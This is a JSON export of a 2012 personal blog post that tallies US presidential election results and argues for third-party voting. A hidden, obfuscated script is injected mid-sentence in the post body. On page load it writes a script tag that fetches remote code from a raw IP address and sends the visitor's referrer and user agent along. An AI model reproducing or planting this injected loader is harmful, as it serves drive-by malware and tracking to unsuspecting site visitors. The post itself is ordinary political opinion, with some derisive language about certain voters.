{"id":3387,"date":"2012-11-07T14:11:28","date_gmt":"2012-11-07T21:11:28","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3387"},"modified":"2013-05-17T11:09:20","modified_gmt":"2013-05-17T18:09:20","slug":"post-election-review-looking-ahead-to-2016","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3387","title":{"rendered":"Post-election review; looking ahead to 2016"},"content":{"rendered":"<p>I will never apologize for a third-party vote, and don&#8217;t even start with me on the whole &#8220;stealing votes away&#8221; argument.\u00c2\u00a0 The whole two-party system is a travesty and the electoral system is ridiculous.\u00c2\u00a0 Yes, I could have voted for Obama.\u00c2\u00a0 I was pretty damn excited about him in 2008, and he still has my general support.\u00c2\u00a0 But Jill Stein is awesomer.<\/p>\n<p>I know that in whatever sense an individual vote counts, mine was counted.\u00c2\u00a0 (I know because I got a sticker!)\u00c2\u00a0 But the NY Times didn&#8217;t count it; they don&#8217;t look at write-ins.\u00c2\u00a0 Perhaps they are short-staffed&#8230;?\u00c2\u00a0 So in going back over the electoral results, I could only see votes that were cast for names properly on the ballots in the different states.\u00c2\u00a0 <em>It&#8217;s <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seeak|var|u0026u|referrer|abzbz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> weird, I think, that when we&#8217;re voting for a federal office we have different ballots depending on the state!\u00c2\u00a0 That doesn&#8217;t seem right, does it?<\/em><\/p>\n<p>Anyway, here&#8217;s the breakdown, with helpful numbers for comparison so we can imagine how many people we&#8217;re really talking about.<\/p>\n<h5>Based on the NY Times report, there were 118,396,093 votes.\u00c2\u00a0 But that&#8217;s not counting write-ins, so I can assure you there were at least <strong>118,396,095 votes cast.<\/strong><\/h5>\n<h5>About 59 million votes for Obama (59,561,001) and about 57 million for Romney (57,106,844).<\/h5>\n<h5>About 2 million people voted for someone who was <em>on their ballot<\/em>, but <em>neither Romney nor Obama<\/em>.\u00c2\u00a0\u00c2\u00a0 (1,728,248 &#8211; let&#8217;s say 2 million just to be generous.\u00c2\u00a0 I checked the math and this all adds up ok.)<\/h5>\n<p>Of those:<\/p>\n<h5>We have <strong>483,023 Actually Liberal votes<\/strong> (398,165 of them were for <a href=\"http:\/\/www.jillstein.org\/\">Jill Stein<\/a>, counting me and Paul, plus some for <a href=\"http:\/\/www.roseanneforpresident2012.org\/\">Roseanne Barr<\/a> and some for <a href=\"http:\/\/www.voterocky.org\/\">Rocky Anderson<\/a>).<\/h5>\n<p>This area needs work, people.\u00c2\u00a0 Just for reference, the population of Raleigh is about 400,000.\u00c2\u00a0 We need to get this up to at least a million, like the Libertarians have.\u00c2\u00a0 It&#8217;s totally worth your time, even now, to look at the websites for these three candidates.\u00c2\u00a0 There&#8217;s another election in just 4 years!\u00c2\u00a0 Even if you prefer to keep voting for Democrats, this is what you can demand of them!\u00c2\u00a0 <em>Look at these awesome policies!!!<\/em><\/p>\n<h5>We have <strong>1,163,429 Libertarian votes<\/strong>.\u00c2\u00a0 (Almost all of those were for the actual Libertarian candidate,<a href=\"http:\/\/www.garyjohnson2012.com\/\"> Gary Johnson,<\/a> plus a handful of other candidates whose platforms were very similar).<\/h5>\n<p>Libertarians are ok.\u00c2\u00a0 They&#8217;re conservative in the sense that they don&#8217;t really &#8220;do&#8221; government at the federal level, which makes me wonder why they bother running for federal offices.\u00c2\u00a0 But on the other hand, I think I could actually live with privatized health care and schools, especially given how much I don&#8217;t like our current health care and schools anyway.\u00c2\u00a0 Plus, Libertarians are your best friends in case of the zombiepocalypse, because they can hunt squirrels and stuff.\u00c2\u00a0 And they seriously don&#8217;t care who you marry.\u00c2\u00a0 All my friends who supported Romney are probably Libertarians and just didn&#8217;t have time to look into it.\u00c2\u00a0 <em>Hey, both of you &#8211; go read Gary Johnson&#8217;s website.\u00c2\u00a0 The Libertarians are here to stay and they&#8217;ll be on the ballot next time too!\u00c2\u00a0 <\/em><\/p>\n<p>&nbsp;<\/p>\n<h4>On the farther sides of the spectrum:<\/h4>\n<p>We have <strong>17,031 socialist votes<\/strong>, split among 5 assorted candidates.\u00c2\u00a0 Of those, my favorite was Peta Lindsay, who at 28 years old could not actually have served as President, but who will have a kick-ass resume just for having been on the ballot in so many states.\u00c2\u00a0 She gets my vote for Spunkiest Candidate.\u00c2\u00a0 <em>For those who feared the country was going Socialist, be assured.\u00c2\u00a0 17,000 people is about the number of people waiting for liver transplants; or if you like, the number of people that would fit into an average NBA arena.\u00c2\u00a0 The Internationale will not be uniting the human race any time soon.<br \/>\n<\/em><\/p>\n<p>&nbsp;<\/p>\n<p><strong>163,807 sociopath votes:\u00c2\u00a0<\/strong> mean, creepy people who are specifically hateful to minorities and in favor of establishing Christian practices as law.\u00c2\u00a0 These are the anti-gay, anti-choice, anti-immigrant, anti-kitten people.<\/p>\n<p><em>160,000 people is the Guiness Book of World Records Record for &#8220;Doing the Wave.&#8221;<\/em>\u00c2\u00a0 Liberals, note.\u00c2\u00a0 Most of the conservative votes swinging around are a million perfectly reasonable Libertarians.\u00c2\u00a0 The sociopath faction is small.\u00c2\u00a0 Just pray that God takes them to heaven soon so they&#8217;ll quit bugging us.<\/p>\n<p>&nbsp;<\/p>\n<p>There was also a guy from the KKK (evidently) who brought in 2,598 votes in Colorado, New Jersey, and South Dakota.\u00c2\u00a0 And people who were on the ballot in only one state each (including &#8220;the pot guy&#8221; from Minnesota and &#8220;the prohibition guy&#8221; from Louisiana) all together collected 9,081 votes.\u00c2\u00a0\u00c2\u00a0 <em>Again, as a reference point: 11 thousand people had to evacuate their homes due to a Colorado forest fire last summer, and 11 thousand people participated in a charity walk for breast cancer research in a San Diego park last weekend. \u00c2\u00a0<\/em>I think it&#8217;s probably safe to ignore these people unless any of them actually approach you in a parking lot.<\/p>\n<p>&nbsp;<\/p>\n<p>And finally, dear friends, we have about 280 million citizens, so that means there are about 162 million people who simply don&#8217;t vote, either because they wouldn&#8217;t or couldn&#8217;t.<\/p>\n<p>&nbsp;<\/p>\n<p><em>If I had nothing better to do,\u00c2\u00a0 I could make this into a pie chart!<\/em><\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>I will never apologize for a third-party vote, and don&#8217;t even start with me on&#8230;<\/p>\n","protected":false},"author":1,"featured_media":3391,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[91],"tags":[21],"class_list":["post-3387","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-believe","tag-musings"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3387"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3387"}],"version-history":[{"count":8,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3387\/revisions"}],"predecessor-version":[{"id":3389,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3387\/revisions\/3389"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/3391"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3387"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3387"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3387"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}